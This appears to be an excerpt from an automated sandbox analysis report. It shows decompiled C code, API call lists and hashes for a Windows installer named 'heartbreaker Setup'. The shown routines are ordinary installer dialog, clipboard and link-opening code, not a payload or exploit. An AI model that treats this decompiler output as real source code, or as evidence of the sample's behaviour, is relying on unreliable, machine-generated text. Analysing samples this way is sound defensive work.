					if(SendMessageA(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageA(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_v24);
					_t286 = 0;
					do {
						_t258 =  *((intOrPtr*)(_v20 + _t286 * 4));
						if( *((intOrPtr*)(_v20 + _t286 * 4)) != _t315) {
							if(_t286 != 0x20) {
								_v16 = _t315;
							}
							SendMessageA(_v12, 0x151, SendMessageA(_v12, 0x143, _t315, E004059FF(_t286, _t315, _t320, _t315, _t258)), _t286);
						}
						_t286 = _t286 + 1;
					} while (_t286 < 0x21);
					_t317 = _a16;
					_t287 = _v16;
					_push( *((intOrPtr*)(_t317 + 0x30 + _t287 * 4)));
					_push(0x15);
					E00403D8F(_a4);
					_push( *((intOrPtr*)(_t317 + 0x34 + _t287 * 4)));
					_push(0x16);
					E00403D8F(_a4);
					_t318 = 0;
					_t288 = 0;
					_t328 =  *0x423eac - _t318; // 0x4
					if(_t328 <= 0) {
						L19:
						SetWindowLongA(_v8, 0xfffffff0, GetWindowLongA(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t311 = _v32 + 8;
						_v24 = _t311;
						do {
							_t268 = _t311 + 0x10;
							if( *_t268 != 0) {
								_v60 = _t268;
								_t269 =  *_t311;
								_t302 = 0x20;
								_v84 = _t288;
								_v80 = 0xffff0002;
								_v76 = 0xd;
								_v64 = _t302;
								_v40 = _t318;
								_v68 = _t269 & _t302;
								if((_t269 & 0x00000002) == 0) {
									__eflags = _t269 & 0x00000004;
									if((_t269 & 0x00000004) == 0) {
										 *( *0x42046c + _t318 * 4) = SendMessageA(_v8, 0x1100, 0,  &_v84);
									} else {
										_t288 = SendMessageA(_v8, 0x110a, 3, _t288);
									}
								} else {
									_v76 = 0x4d;
									_v44 = 1;
									_t274 = SendMessageA(_v8, 0x1100, 0,  &_v84);
									_v28 = 1;
									 *( *0x42046c + _t318 * 4) = _t274;
									_t288 =  *( *0x42046c + _t318 * 4);
								}
							}
							_t318 = _t318 + 1;
							_t311 = _v24 + 0x418;
							_t331 = _t318 -  *0x423eac; // 0x4
							_v24 = _t311;
						} while (_t331 < 0);
						if(_v28 != 0) {
							L20:
							if(_v16 != 0) {
								E00403DC4(_v8);
								_t280 = _v32;
								_t315 = 0;
								__eflags = 0;
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E00403DC4(_v12);
								L89:
								return E00403DF6(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

APIs

GetDlgItem.USER32 ref: 004046E1
GetDlgItem.USER32 ref: 004046EE
GlobalAlloc.KERNEL32(00000040,00000004), ref: 0040473A
LoadBitmapA.USER32 ref: 0040474D
SetWindowLongA.USER32 ref: 00404767
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 0040477B
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 0040478F
SendMessageA.USER32(?,00001109,00000002), ref: 004047A4
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 004047B0
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 004047C2
DeleteObject.GDI32(?), ref: 004047C7
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 004047F2
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 004047FE
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404893
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 004048BE
SendMessageA.USER32(?,00001100,00000000,?), ref: 004048D2
GetWindowLongA.USER32 ref: 00404901
SetWindowLongA.USER32 ref: 0040490F
ShowWindow.USER32(?,00000005), ref: 00404920
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404A23
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404A88
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404A9D
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404AC1
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404AE7
ImageList_Destroy.COMCTL32(?), ref: 00404AFC
GlobalFree.KERNEL32 ref: 00404B0C
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404B7C
SendMessageA.USER32(?,00001102,00000410,?), ref: 00404C25
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404C34
InvalidateRect.USER32(?,00000000,00000001), ref: 00404C54
ShowWindow.USER32(?,00000000), ref: 00404CA2
GetDlgItem.USER32 ref: 00404CAD
ShowWindow.USER32(00000000), ref: 00404CB4

Strings

N, xrefs: 0040495E
L], xrefs: 004046F0, 00404B9D
, xrefs: 00404C8C
M, xrefs: 0040487A

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $L]$M$N
API String ID: 1638840714-1318044956
Opcode ID: 2218f254bd768403f12b45b221eec84538c1d5bde26f6f708cdc4201c9d318c0
Instruction ID: 1ebc4e1f5dd1db854d7f91ec63dfd1d34711f9484ded547680f267f962745bc2
Opcode Fuzzy Hash: 2218f254bd768403f12b45b221eec84538c1d5bde26f6f708cdc4201c9d318c0
Instruction Fuzzy Hash: 0802ADB0A00208EFDB20DF65DC45AAE7BB5FB84315F10817AF610BA2E1D7799A41CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00404EB9, Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 278
windowclipboardmemoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00404EB9(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				long _v12;
				struct tagRECT _v28;
				void* _v36;
				signed int _v40;
				int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v60;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t87;
				unsigned int _t92;
				unsigned int _t93;
				int _t94;
				int _t95;
				long _t98;
				void* _t101;
				intOrPtr _t123;
				struct HWND__* _t127;
				int _t149;
				int _t150;
				struct HWND__* _t154;
				struct HWND__* _t158;
				struct HMENU__* _t160;
				long _t162;
				void* _t163;
				short* _t164;

				_t154 =  *0x423664; // 0x0
				_t149 = 0;
				_v8 = _t154;
				if(_a8 != 0x110) {
					__eflags = _a8 - 0x405;
					if(_a8 == 0x405) {
						CloseHandle(CreateThread(0, 0, E00404E4D, GetDlgItem(_a4, 0x3ec), 0,  &_v12));
					}
					__eflags = _a8 - 0x111;
					if(_a8 != 0x111) {
						L17:
						__eflags = _a8 - 0x404;
						if(_a8 != 0x404) {
							L25:
							__eflags = _a8 - 0x7b;
							if(_a8 != 0x7b) {
								goto L20;
							}
							__eflags = _a12 - _t154;
							if(_a12 != _t154) {
								goto L20;
							}
							_t87 = SendMessageA(_t154, 0x1004, _t149, _t149);
							__eflags = _t87 - _t149;
							_a8 = _t87;
							if(_t87 <= _t149) {
								L37:
								return 0;
							}
							_t160 = CreatePopupMenu();
							AppendMenuA(_t160, _t149, 1, E004059FF(_t149, _t154, _t160, _t149, 0xffffffe1));
							_t92 = _a16;
							__eflags = _t92 - 0xffffffff;
							if(_t92 != 0xffffffff) {
								_t150 = _t92;
								_t93 = _t92 >> 0x10;
								__eflags = _t93;
								_t94 = _t93;
							} else {
								GetWindowRect(_t154,  &_v28);
								_t150 = _v28.left;
								_t94 = _v28.top;
							}
							_t95 = TrackPopupMenu(_t160, 0x180, _t150, _t94, _t149, _a4, _t149);
							_t162 = 1;
							__eflags = _t95 - 1;
							if(_t95 == 1) {
								_v60 = _t149;
								_v48 = 0x420478;
								_v44 = 0xfff;
								_a4 = _a8;
								do {
									_a4 = _a4 - 1;
									_t98 = SendMessageA(_v8, 0x102d, _a4,  &_v68);
									__eflags = _a4 - _t149;
									_t162 = _t162 + _t98 + 2;
								} while (_a4 != _t149);
								OpenClipboard(_t149);
								EmptyClipboard();
								_t101 = GlobalAlloc(0x42, _t162);
								_a4 = _t101;
								_t163 = GlobalLock(_t101);
								do {
									_v48 = _t163;
									_t164 = _t163 + SendMessageA(_v8, 0x102d, _t149,  &_v68);
									 *_t164 = 0xa0d;
									_t163 = _t164 + 2;
									_t149 = _t149 + 1;
									__eflags = _t149 - _a8;
								} while (_t149 < _a8);
								GlobalUnlock(_a4);
								SetClipboardData(1, _a4);
								CloseClipboard();
							}
							goto L37;
						}
						__eflags =  *0x42364c - _t149; // 0x0
						if(__eflags == 0) {
							ShowWindow( *0x423e88, 8);
							__eflags =  *0x423f0c - _t149; // 0x0
							if(__eflags == 0) {
								E00404D7B( *((intOrPtr*)( *0x41fc48 + 0x34)), _t149);
							}
							E00403D68(1);
							goto L25;
						}
						 *0x41f840 = 2;
						E00403D68(0x78);
						goto L20;
					} else {
						__eflags = _a12 - 0x403;
						if(_a12 != 0x403) {
							L20:
							return E00403DF6(_a8, _a12, _a16);
						}
						ShowWindow( *0x423650, _t149);
						ShowWindow(_t154, 8);
						E00403DC4(_t154);
						goto L17;
					}
				}
				_v52 = _v52 | 0xffffffff;
				_v40 = _v40 | 0xffffffff;
				_v60 = 2;
				_v56 = 0;
				_v48 = 0;
				_v44 = 0;
				asm("stosd");
				asm("stosd");
				_t123 =  *0x423e90; // 0x5de1a0
				_a8 =  *((intOrPtr*)(_t123 + 0x5c));
				_a12 =  *((intOrPtr*)(_t123 + 0x60));
				 *0x423650 = GetDlgItem(_a4, 0x403);
				 *0x423648 = GetDlgItem(_a4, 0x3ee);
				_t127 = GetDlgItem(_a4, 0x3f8);
				 *0x423664 = _t127;
				_v8 = _t127;
				E00403DC4( *0x423650);
				 *0x423654 = E0040461D(4);
				 *0x42366c = 0;
				GetClientRect(_v8,  &_v28);
				_v52 = _v28.right - GetSystemMetrics(0x15);
				SendMessageA(_v8, 0x101b, 0,  &_v60);
				SendMessageA(_v8, 0x1036, 0x4000, 0x4000);
				if(_a8 >= 0) {
					SendMessageA(_v8, 0x1001, 0, _a8);
					SendMessageA(_v8, 0x1026, 0, _a8);
				}
				if(_a12 >= _t149) {
					SendMessageA(_v8, 0x1024, _t149, _a12);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E00403D8F(_a4);
				if(( *0x423e98 & 0x00000003) != 0) {
					ShowWindow( *0x423650, _t149);
					if(( *0x423e98 & 0x00000002) != 0) {
						 *0x423650 = _t149;
					} else {
						ShowWindow(_v8, 8);
					}
					E00403DC4( *0x423648);
				}
				_t158 = GetDlgItem(_a4, 0x3ec);
				SendMessageA(_t158, 0x401, _t149, 0x75300000);
				if(( *0x423e98 & 0x00000004) != 0) {
					SendMessageA(_t158, 0x409, _t149, _a12);
					SendMessageA(_t158, 0x2001, _t149, _a8);
				}
				goto L37;
			}

APIs

GetDlgItem.USER32 ref: 00404F18
GetDlgItem.USER32 ref: 00404F27
GetClientRect.USER32 ref: 00404F64
GetSystemMetrics.USER32 ref: 00404F6C
SendMessageA.USER32(?,0000101B,00000000,00000002), ref: 00404F8D
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 00404F9E
SendMessageA.USER32(?,00001001,00000000,00000110), ref: 00404FB1
SendMessageA.USER32(?,00001026,00000000,00000110), ref: 00404FBF
SendMessageA.USER32(?,00001024,00000000,?), ref: 00404FD2
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00404FF4
ShowWindow.USER32(?,00000008), ref: 00405008
GetDlgItem.USER32 ref: 00405029
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 00405039
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 00405052
SendMessageA.USER32(00000000,00002001,00000000,00000110), ref: 0040505E
GetDlgItem.USER32 ref: 00404F36

Part of subcall function 00403DC4: SendMessageA.USER32(00000028,?,00000001,00403BF5), ref: 00403DD2

GetDlgItem.USER32 ref: 0040507B
CreateThread.KERNEL32 ref: 00405089
CloseHandle.KERNEL32(00000000), ref: 00405090
ShowWindow.USER32(00000000), ref: 004050B4
ShowWindow.USER32(00000000,00000008), ref: 004050B9
ShowWindow.USER32(00000008), ref: 00405100
SendMessageA.USER32(00000000,00001004,00000000,00000000), ref: 00405132
CreatePopupMenu.USER32 ref: 00405143
AppendMenuA.USER32 ref: 00405158
GetWindowRect.USER32 ref: 0040516B
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040518F
SendMessageA.USER32(?,0000102D,00000000,?), ref: 004051CA
OpenClipboard.USER32(00000000), ref: 004051DA
EmptyClipboard.USER32(?,?,00000000,?,00000000), ref: 004051E0
GlobalAlloc.KERNEL32(00000042,?,?,?,00000000,?,00000000), ref: 004051E9
GlobalLock.KERNEL32 ref: 004051F3
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405207
GlobalUnlock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 0040521F
SetClipboardData.USER32 ref: 0040522A
CloseClipboard.USER32 ref: 00405230

Strings

{, xrefs: 0040511F

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 001334b4ba3c222cf79d50ec4f04ffad4c31a43647bbcf3abe0fe5947dea7136
Instruction ID: d8c2bf4a41f8d47596d7e212a196e63f96e24a60825c263716f9721a4c55cacb
Opcode Fuzzy Hash: 001334b4ba3c222cf79d50ec4f04ffad4c31a43647bbcf3abe0fe5947dea7136
Instruction Fuzzy Hash: 99A13A71900208BFDB219F60DD89EAE7F79FB04355F00817AFA04BA2A0C7799A51DF59

Uniqueness

Uniqueness Score: -1.00%

Function 004038BC, Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E004038BC(struct HWND__* _a4, signed int _a8, int _a12, long _a16) {
				struct HWND__* _v32;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				signed int _t37;
				signed int _t39;
				intOrPtr _t44;
				struct HWND__* _t49;
				signed int _t67;
				struct HWND__* _t73;
				signed int _t86;
				struct HWND__* _t91;
				signed int _t99;
				int _t103;
				signed int _t115;
				signed int _t116;
				int _t117;
				signed int _t122;
				struct HWND__* _t125;
				struct HWND__* _t126;
				int _t127;
				long _t130;
				int _t132;
				int _t133;
				void* _t134;
				void* _t142;

				_t115 = _a8;
				if(_t115 == 0x110 || _t115 == 0x408) {
					_t35 = _a12;
					_t125 = _a4;
					__eflags = _t115 - 0x110;
					 *0x42045c = _t35;
					if(_t115 == 0x110) {
						 *0x423e88 = _t125;
						 *0x420470 = GetDlgItem(_t125, 1);
						_t91 = GetDlgItem(_t125, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x41f438 = _t91;
						E00403D8F(_t125);
						SetClassLongA(_t125, 0xfffffff2,  *0x423668);
						 *0x42364c = E0040140B(4);
						_t35 = 1;
						__eflags = 1;
						 *0x42045c = 1;
					}
					_t122 =  *0x4091a4; // 0xffffffff
					_t133 = 0;
					_t130 = (_t122 << 6) +  *0x423ea0;
					__eflags = _t122;
					if(_t122 < 0) {
						L34:
						E00403DDB(0x40b);
						while(1) {
							_t37 =  *0x42045c;
							 *0x4091a4 =  *0x4091a4 + _t37;
							_t130 = _t130 + (_t37 << 6);
							_t39 =  *0x4091a4; // 0xffffffff
							__eflags = _t39 -  *0x423ea4; // 0x2
							if(__eflags == 0) {
								E0040140B(1);
							}
							__eflags =  *0x42364c - _t133; // 0x0
							if(__eflags != 0) {
								break;
							}
							_t44 =  *0x423ea4; // 0x2
							__eflags =  *0x4091a4 - _t44; // 0xffffffff
							if(__eflags >= 0) {
								break;
							}
							_t116 =  *(_t130 + 0x14);
							E004059FF(_t116, _t125, _t130, 0x42b800,  *((intOrPtr*)(_t130 + 0x24)));
							_push( *((intOrPtr*)(_t130 + 0x20)));
							_push(0xfffffc19);
							E00403D8F(_t125);
							_push( *((intOrPtr*)(_t130 + 0x1c)));
							_push(0xfffffc1b);
							E00403D8F(_t125);
							_push( *((intOrPtr*)(_t130 + 0x28)));
							_push(0xfffffc1a);
							E00403D8F(_t125);
							_t49 = GetDlgItem(_t125, 3);
							__eflags =  *0x423f0c - _t133; // 0x0
							_v32 = _t49;
							if(__eflags != 0) {
								_t116 = _t116 & 0x0000fefd | 0x00000004;
								__eflags = _t116;
							}
							ShowWindow(_t49, _t116 & 0x00000008);
							EnableWindow( *(_t134 + 0x30), _t116 & 0x00000100);
							E00403DB1(_t116 & 0x00000002);
							_t117 = _t116 & 0x00000004;
							EnableWindow( *0x41f438, _t117);
							__eflags = _t117 - _t133;
							if(_t117 == _t133) {
								_push(1);
							} else {
								_push(_t133);
							}
							EnableMenuItem(GetSystemMenu(_t125, _t133), 0xf060, ??);
							SendMessageA( *(_t134 + 0x38), 0xf4, _t133, 1);
							__eflags =  *0x423f0c - _t133; // 0x0
							if(__eflags == 0) {
								_push( *0x420470);
							} else {
								SendMessageA(_t125, 0x401, 2, _t133);
								_push( *0x41f438);
							}
							E00403DC4();
							E004059DD(0x420478, "heartbreaker Setup");
							E004059FF(0x420478, _t125, _t130,  &(0x420478[lstrlenA(0x420478)]),  *((intOrPtr*)(_t130 + 0x18)));
							SetWindowTextA(_t125, 0x420478);
							_push(_t133);
							_t67 = E00401389( *((intOrPtr*)(_t130 + 8)));
							__eflags = _t67;
							if(_t67 != 0) {
								continue;
							} else {
								__eflags =  *_t130 - _t133;
								if( *_t130 == _t133) {
									continue;
								}
								__eflags =  *(_t130 + 4) - 5;
								if( *(_t130 + 4) != 5) {
									DestroyWindow( *0x423658);
									 *0x41fc48 = _t130;
									__eflags =  *_t130 - _t133;
									if( *_t130 <= _t133) {
										goto L58;
									}
									_t73 = CreateDialogParamA( *0x423e80,  *_t130 +  *0x423660 & 0x0000ffff, _t125,  *(0x4091a8 +  *(_t130 + 4) * 4), _t130);
									__eflags = _t73 - _t133;
									 *0x423658 = _t73;
									if(_t73 == _t133) {
										goto L58;
									}
									_push( *((intOrPtr*)(_t130 + 0x2c)));
									_push(6);
									E00403D8F(_t73);
									GetWindowRect(GetDlgItem(_t125, 0x3fa), _t134 + 0x10);
									ScreenToClient(_t125, _t134 + 0x10);
									SetWindowPos( *0x423658, _t133,  *(_t134 + 0x20),  *(_t134 + 0x20), _t133, _t133, 0x15);
									_push(_t133);
									E00401389( *((intOrPtr*)(_t130 + 0xc)));
									__eflags =  *0x42364c - _t133; // 0x0
									if(__eflags != 0) {
										goto L61;
									}
									ShowWindow( *0x423658, 8);
									E00403DDB(0x405);
									goto L58;
								}
								__eflags =  *0x423f0c - _t133; // 0x0
								if(__eflags != 0) {
									goto L61;
								}
								__eflags =  *0x423f00 - _t133; // 0x20
								if(__eflags != 0) {
									continue;
								}
								goto L61;
							}
						}
						DestroyWindow( *0x423658);
						 *0x423e88 = _t133;
						EndDialog(_t125,  *0x41f840);
						goto L58;
					} else {
						__eflags = _t35 - 1;
						if(_t35 != 1) {
							L33:
							__eflags =  *_t130 - _t133;
							if( *_t130 == _t133) {
								goto L61;
							}
							goto L34;
						}
						_push(0);
						_t86 = E00401389( *((intOrPtr*)(_t130 + 0x10)));
						__eflags = _t86;
						if(_t86 == 0) {
							goto L33;
						}
						SendMessageA( *0x423658, 0x40f, 0, 1);
						__eflags =  *0x42364c - _t133; // 0x0
						return 0 | __eflags == 0x00000000;
					}
				} else {
					_t125 = _a4;
					_t133 = 0;
					if(_t115 == 0x47) {
						SetWindowPos( *0x420450, _t125, 0, 0, 0, 0, 0x13);
					}
					if(_t115 == 5) {
						asm("sbb eax, eax");
						ShowWindow( *0x420450,  ~(_a12 - 1) & _t115);
					}
					if(_t115 != 0x40d) {
						__eflags = _t115 - 0x11;
						if(_t115 != 0x11) {
							__eflags = _t115 - 0x111;
							if(_t115 != 0x111) {
								L26:
								return E00403DF6(_t115, _a12, _a16);
							}
							_t132 = _a12 & 0x0000ffff;
							_t126 = GetDlgItem(_t125, _t132);
							__eflags = _t126 - _t133;
							if(_t126 == _t133) {
								L13:
								__eflags = _t132 - 1;
								if(_t132 != 1) {
									__eflags = _t132 - 3;
									if(_t132 != 3) {
										_t127 = 2;
										__eflags = _t132 - _t127;
										if(_t132 != _t127) {
											L25:
											SendMessageA( *0x423658, 0x111, _a12, _a16);
											goto L26;
										}
										__eflags =  *0x423f0c - _t133; // 0x0
										if(__eflags == 0) {
											_t99 = E0040140B(3);
											__eflags = _t99;
											if(_t99 != 0) {
												goto L26;
											}
											 *0x41f840 = 1;
											L21:
											_push(0x78);
											L22:
											E00403D68();
											goto L26;
										}
										E0040140B(_t127);
										 *0x41f840 = _t127;
										goto L21;
									}
									__eflags =  *0x4091a4 - _t133; // 0xffffffff
									if(__eflags <= 0) {
										goto L25;
									}
									_push(0xffffffff);
									goto L22;
								}
								_push(_t132);
								goto L22;
							}
							SendMessageA(_t126, 0xf3, _t133, _t133);
							_t103 = IsWindowEnabled(_t126);
							__eflags = _t103;
							if(_t103 == 0) {
								goto L61;
							}
							goto L13;
						}
						SetWindowLongA(_t125, _t133, _t133);
						return 1;
					} else {
						DestroyWindow( *0x423658);
						 *0x423658 = _a12;
						L58:
						if( *0x421478 == _t133) {
							_t142 =  *0x423658 - _t133; // 0x0
							if(_t142 != 0) {
								ShowWindow(_t125, 0xa);
								 *0x421478 = 1;
							}
						}
						L61:
						return 0;
					}
				}
			}

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004038F8
ShowWindow.USER32(?), ref: 00403915
DestroyWindow.USER32 ref: 00403929
SetWindowLongA.USER32 ref: 00403945
GetDlgItem.USER32 ref: 00403966
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 0040397A
IsWindowEnabled.USER32(00000000), ref: 00403981
GetDlgItem.USER32 ref: 00403A2F
GetDlgItem.USER32 ref: 00403A39
SetClassLongA.USER32(?,000000F2,?,0000001C,000000FF), ref: 00403A53
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403AA4
GetDlgItem.USER32 ref: 00403B4A
ShowWindow.USER32(00000000,?), ref: 00403B6B
EnableWindow.USER32(?,?), ref: 00403B7D
EnableWindow.USER32(?,?), ref: 00403B98
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403BAE
EnableMenuItem.USER32 ref: 00403BB5
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403BCD
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403BE0
lstrlenA.KERNEL32(00420478,?,00420478,heartbreaker Setup), ref: 00403C09
SetWindowTextA.USER32(?,00420478), ref: 00403C18
ShowWindow.USER32(?,0000000A), ref: 00403D4C

Strings

heartbreaker Setup, xrefs: 00403BFA

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: heartbreaker Setup
API String ID: 184305955-2065336087
Opcode ID: d8b962e911b7c253e61e73d21e88cb3add85ad3b5a8fe6332aee3bd0e594c397
Instruction ID: 874aaf0cc80a4ada72e8b6aceb9d73cb056a569e4b675a7f159d56e4bf17f1bf
Opcode Fuzzy Hash: d8b962e911b7c253e61e73d21e88cb3add85ad3b5a8fe6332aee3bd0e594c397
Instruction Fuzzy Hash: F9C18E71A04204BBDB206F21ED85E2B3E7CEB05746F40453EF641B52F1C779AA429B2E

Uniqueness

Uniqueness Score: -1.00%

Function 00403ED7, Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 204
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00403ED7(struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, int _a16) {
				char _v8;
				signed int _v12;
				void* _v16;
				struct HWND__* _t52;
				intOrPtr _t71;
				intOrPtr _t85;
				long _t86;
				int _t98;
				struct HWND__* _t99;
				signed int _t100;
				intOrPtr _t107;
				intOrPtr _t109;
				int _t110;
				signed int* _t112;
				signed int _t113;
				char* _t114;
				CHAR* _t115;

				if(_a8 != 0x110) {
					if(_a8 != 0x111) {
						L11:
						if(_a8 != 0x4e) {
							if(_a8 == 0x40b) {
								 *0x420458 =  *0x420458 + 1;
							}
							L25:
							_t110 = _a16;
							L26:
							return E00403DF6(_a8, _a12, _t110);
						}
						_t52 = GetDlgItem(_a4, 0x3e8);
						_t110 = _a16;
						if( *((intOrPtr*)(_t110 + 8)) == 0x70b &&  *((intOrPtr*)(_t110 + 0xc)) == 0x201) {
							_t100 =  *((intOrPtr*)(_t110 + 0x1c));
							_t109 =  *((intOrPtr*)(_t110 + 0x18));
							_v12 = _t100;
							_v16 = _t109;
							_v8 = 0x422e20;
							if(_t100 - _t109 < 0x800) {
								SendMessageA(_t52, 0x44b, 0,  &_v16);
								SetCursor(LoadCursorA(0, 0x7f02));
								_t40 =  &_v8; // 0x422e20
								ShellExecuteA(_a4, "open",  *_t40, 0, 0, 1);
								SetCursor(LoadCursorA(0, 0x7f00));
								_t110 = _a16;
							}
						}
						if( *((intOrPtr*)(_t110 + 8)) != 0x700 ||  *((intOrPtr*)(_t110 + 0xc)) != 0x100) {
							goto L26;
						} else {
							if( *((intOrPtr*)(_t110 + 0x10)) == 0xd) {
								SendMessageA( *0x423e88, 0x111, 1, 0);
							}
							if( *((intOrPtr*)(_t110 + 0x10)) == 0x1b) {
								SendMessageA( *0x423e88, 0x10, 0, 0);
							}
							return 1;
						}
					}
					if(_a12 >> 0x10 != 0 ||  *0x420458 != 0) {
						goto L25;
					} else {
						_t112 =  *0x41fc48 + 0x14;
						if(( *_t112 & 0x00000020) == 0) {
							goto L25;
						}
						 *_t112 =  *_t112 & 0xfffffffe | SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
						E00403DB1(SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
						E00404162();
						goto L11;
					}
				}
				_t98 = _a16;
				_t113 =  *(_t98 + 0x30);
				if(_t113 < 0) {
					_t107 =  *0x42365c; // 0x5e5cd6
					_t113 =  *(_t107 - 4 + _t113 * 4);
				}
				_t71 =  *0x423eb8; // 0x5e411c
				_push( *((intOrPtr*)(_t98 + 0x34)));
				_t114 = _t113 + _t71;
				_push(0x22);
				_a16 =  *_t114;
				_v12 = _v12 & 0x00000000;
				_t115 = _t114 + 1;
				_v16 = _t115;
				_v8 = E00403EA3;
				E00403D8F(_a4);
				_push( *((intOrPtr*)(_t98 + 0x38)));
				_push(0x23);
				E00403D8F(_a4);
				CheckDlgButton(_a4, (0 | ( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
				E00403DB1( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001);
				_t99 = GetDlgItem(_a4, 0x3e8);
				E00403DC4(_t99);
				SendMessageA(_t99, 0x45b, 1, 0);
				_t85 =  *0x423e90; // 0x5de1a0
				_t86 =  *(_t85 + 0x68);
				if(_t86 < 0) {
					_t86 = GetSysColor( ~_t86);
				}
				SendMessageA(_t99, 0x443, 0, _t86);
				SendMessageA(_t99, 0x445, 0, 0x4010000);
				 *0x41f43c =  *0x41f43c & 0x00000000;
				SendMessageA(_t99, 0x435, 0, lstrlenA(_t115));
				SendMessageA(_t99, 0x449, _a16,  &_v16);
				 *0x420458 =  *0x420458 & 0x00000000;
				return 0;
			}

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 00403F62
GetDlgItem.USER32 ref: 00403F76
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 00403F94
GetSysColor.USER32(?), ref: 00403FA5
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 00403FB4
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 00403FC3
lstrlenA.KERNEL32(?), ref: 00403FCD
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 00403FDB
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 00403FEA
GetDlgItem.USER32 ref: 0040404D
